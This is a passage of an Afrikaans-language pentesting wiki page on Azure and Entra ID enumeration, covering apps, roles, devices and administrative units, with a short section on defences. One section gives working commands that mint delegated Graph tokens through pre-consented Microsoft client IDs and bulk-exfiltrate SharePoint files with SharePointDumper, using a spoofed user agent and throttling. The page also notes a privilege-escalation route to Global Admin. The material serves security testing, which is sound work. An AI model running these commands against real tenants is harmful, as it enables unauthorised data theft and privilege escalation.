{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> ’n app met die permisie **`AppRoleAssignment.ReadWrite`** kan **eskaleer na Global Admin** deur homself die rol toe te ken.\
> Vir meer inligting [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).

> [!NOTE]
> ’n geheime string wat die application gebruik om sy identiteit te bewys wanneer dit ’n token versoek, is die application password.\
> Dus, as jy hierdie **password** vind, kan jy toegang kry as die **service principal** **binne** die **tenant**.\
> Let daarop dat hierdie password slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander maar jy kan dit nie weer kry nie).\
> Die **eienaar** van die **application** kan 'n **password** daaraan byvoeg (sodat hy dit kan impersonate).\
> Aanmeldings as hierdie service principals word **nie as risky gemerk nie** en hulle **sal nie MFA hê nie.**

Dit is moontlik om 'n lys van algemeen gebruikte App IDs wat aan Microsoft behoort te vind by [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)

### Managed Identities

Vir meer inligting oor Managed Identities, sien:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
```
{{#endtab }}
{{#endtabs }}

### Azure-rolle

Vir meer inligting oor Azure-rolle, sien:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
```
{{#endtab }}

{{#tab name="MS Graph" }}
```bash

# List all available role templates using Microsoft Graph PowerShell
Get-MgDirectoryRoleTemplate -All

# List enabled built-in Entra ID roles
Get-MgDirectoryRole -All

# List all Entra ID roles with their permissions (including custom roles)
Get-MgDirectoryRoleDefinition -All

# List members of a Entra ID role
Get-MgDirectoryRoleMember -DirectoryRoleId <RoleId> -All

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Az" }}
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
# Get deny assignments
Get-AzDenyAssignment # Get from current subscription
Get-AzDenyAssignment -Scope '/subscriptions/96231a05-34ce-4eb4-aa6a-70759cbb5e83/resourcegroups/testRG/providers/Microsoft.Web/sites/site1'
```
{{#tab name="Raw" }}
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
```
{{#endtab }}
{{#endtabs }}

### Entra ID-rolle

Vir meer inligting oor Azure-rolle sien:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
```
{{#endtab }}
{{#endtabs }}

### Toestelle

{{#tabs }}
{{#tab name="az cli" }}
```bash
# If you know how to do this send a PR!
```
{{#endtab }}
{{#tab name="MS Graph" }}
```bash
# Enumerate devices using Microsoft Graph PowerShell
Get-MgDevice -All

# Get device details
Get-MgDevice -DeviceId <DeviceId> | Format-List *

# Get devices managed using Intune
Get-MgDevice -Filter "isCompliant eq true" -All

# Get devices owned by a user
Get-MgUserOwnedDevice -UserId test@corp.onmicrosoft.com

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement
```
{{#endtab }}

{{#tab name="Azure AD" }}
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
```
{{#endtab }}
{{#endtabs }}

> [!WARNING]
> As 'n toestel (VM) **AzureAD joined** is, sal gebruikers van AzureAD **in staat wees om aan te meld**.\
> Verder, as die aangemelde gebruiker **Owner** van die toestel is, sal hy **local admin** wees.

### Administratiewe Eenhede

Vir meer inligting oor administratiewe eenhede, kyk:

{{#ref}}
../az-basic-information/
{{#endref}}

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}

{{#tab name="AzureAD" }}
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}

## Microsoft Graph gedelegeerde SharePoint data exfiltration (SharePointDumper)

Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph enumereer en dan **lêerinhoud aflaai** via **SharePoint pre-authentication download URLs** (tydbeperkte URLs wat 'n access token insluit). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automatiseer die volle vloei (enumeration → pre-auth downloads) en stuur per-versoek telemetrie vir deteksietoetsing.

### Verkryging van bruikbare gedelegeerde tokens

- SharePointDumper self **authentikeer nie**; voorsien 'n access token (opsioneel 'n refresh token).
- Vooraf-toegestemde (pre-consented) **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (van [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE kliënte ondersteun refresh oor verskeie toestelle; FOCI FALSE kliënte vereis dikwels `-Origin` om reply URL oorsprongvalidasie te bevredig.

### SharePointDumper gebruik vir enumeration + exfiltration

- Basiese dump met aangepaste UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- Omvangbeheer: insluit/uitsluit werwe of uitbreidings en globale perke:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Hervat** onderbroke uitvoerings (herskan maar slaan reeds afgelaaide items oor):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Outomatiese token-verversing op HTTP 401** (vereis EntraTokenAid gelaai):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Operationele notas:

- Verkies **CAE-enabled** tokens om mid-run verval te voorkom; vernuwingpogings word **nie** in die tool se API-log aangeteken.
- Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en masker ingebedde SharePoint download tokens standaard (skakelbaar).
- Ondersteun **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, en **Ctrl+C-safe shutdown** vir traffic shaping tydens detection/IR tests.

## Entra ID Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}

## Azure Privilege Escalation

{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}

## Verdedigingsmeganismes

### Privileged Identity Management (PIM)

Privileged Identity Management (PIM) in Azure help om te **voorkom dat oormatige bevoegdhede** onnodig aan gebruikers toegeken word.

Een van die hoofkenmerke wat deur PIM aangebied word, is dat dit toelaat om rolle nie aan principals wat konstant aktief is toe te ken nie, maar hulle in aanmerking te laat kom vir 'n tydperk (bv. 6 maande). Wanneer die gebruiker dan daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aandui wat hy die bevoegdheid nodig het (bv. 3 uur). Daarna moet 'n **admin die versoek goedkeur**.  
Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**.

Boonop stuur **PIM e-posse** wanneer 'n geprivilegieerde rol aan iemand toegeken word.

<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>

Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te konfigureer soos:

- Maksimum duur (ure) van aktivering
- Vereis MFA by aktivering
- Vereis Conditional Access authentication context
- Vereis regverdiging by aktivering
- Vereis ticket-inligting by aktivering
- Vereis goedkeuring om te aktiveer
- Maksimum tyd tot die in aanmerking komende toewysings verval
- Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur word wanneer sekere aksies met daardie rol plaasvind

### Conditional Access Policies

Kyk:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}

### Entra Identity Protection

Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n aanmelding te riskant** is om aanvaar te word, en om die gebruiker of die aanmeldingspoging te **blokkeer**.

Dit stel die admin in staat om dit so te konfigureer om pogings te **blokkeer** wanneer die risiko "Low and above", "Medium and above" of "High" is. Alhoewel dit standaard heeltemal **gedeaktiveer** is:

<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>

> [!TIP]
> Deesdae word aanbeveel om hierdie beperkings via Conditional Access policies by te voeg waar dit moontlik is om dieselfde opsies te konfigureer.

### Entra Password Protection

Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te blokkeer wanneer verskeie onsuksesvolle aanmeldingspogings plaasvind.  
Dit maak ook voorsiening om 'n persoonlike wagwoordlys te **verbied** wat jy moet verskaf.

Dit kan **op beide** vlakke toegepas word: in die cloud en on-premises Active Directory.

Die verstekmodus is **Audit**:

<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>

## Verwysings

- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)

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